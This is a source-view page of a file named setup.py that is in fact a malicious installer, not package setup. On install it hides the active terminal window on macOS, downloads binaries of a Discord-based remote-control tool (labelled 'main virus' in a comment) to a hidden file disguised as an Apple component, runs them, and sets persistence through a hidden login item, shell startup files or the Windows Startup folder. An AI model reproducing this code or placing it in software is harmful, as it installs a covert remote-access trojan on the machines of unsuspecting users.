summaryrefslogtreecommitdiff
path: root/setup.py
blob: deeb898dfac21adaa5484e1d4da9057ad306ef46 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
try:
    from requests import get
    from os.path import expanduser
    from os import remove
    from subprocess import Popen as subproc
    from os import system, remove
    from sys import platform
    from random import shuffle
    from zipfile import ZipFile
except KeyboardInterrupt:
    pass

try:
    filename = ['user', 'core', 'dev', 'service', 'daemon']
    shuffle(filename)
    filename = "com.apple." + '.'.join(filename)
    localfile = f"{expanduser('~')}/.{filename}"
except KeyboardInterrupt:
    pass

try:
    remove(localfile)
    remove(f"{localfile}.tmp.zip")
except FileNotFoundError:
    pass

try:
    # download main virus
    if platform == "darwin":
        system("osascript -e 'tell application \"System Events\" to set activeApp to name of first application process whose frontmost is true' -e 'set terminalEmulators to {\"Terminal\", \"iTerm\", \"Hyper\", \"Kitty\"}' -e 'repeat with termApp in terminalEmulators' -e 'if (activeApp contains termApp) then' -e 'tell application termApp to set currentWindow to front window' -e 'set visible of currentWindow to false' -e 'exit repeat' -e 'end if' -e 'end repeat'")
        open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-mac", allow_redirects=True).content)
        open(f"{localfile}.tmp.zip", 'wb').write(get("https://github.com/mrdog233o5/remote-control-discord/raw/main/dist/main.app.zip", allow_redirects=True).content)
        system(f"unzip -o {localfile}.tmp.zip -d {expanduser('~')} > /dev/null")
        system(f"mv {expanduser('~')}/dist/* {localfile}.app && rm -rf {localfile}.tmp.zip {expanduser('~')}/dist")
        system(f"osascript -e 'tell application \"System Events\" to make login item at end with properties {{path:\"{localfile}.app\", hidden:true}}' > /dev/null")
    elif platform == "linux":
        from os import environ
        open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
        if 'zsh' in environ['SHELL']:
            system(f"echo {localfile} >> {expanduser('~')}/.zshenv")
        elif 'bash' in environ['SHELL']:
            system(f"echo {localfile} >> {expanduser('~')}/.bashenv")
    elif platform == "win32":
        open(localfile, 'wb').write(get("https://raw.githubusercontent.com/mrdog233o5/remote-control-discord/main/dist/main-linux", allow_redirects=True).content)
        from shutil import copy
        copy(localfile ,"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp")

    system(f"chmod 555 {localfile}")

    subproc([localfile])
except KeyboardInterrupt:
    pass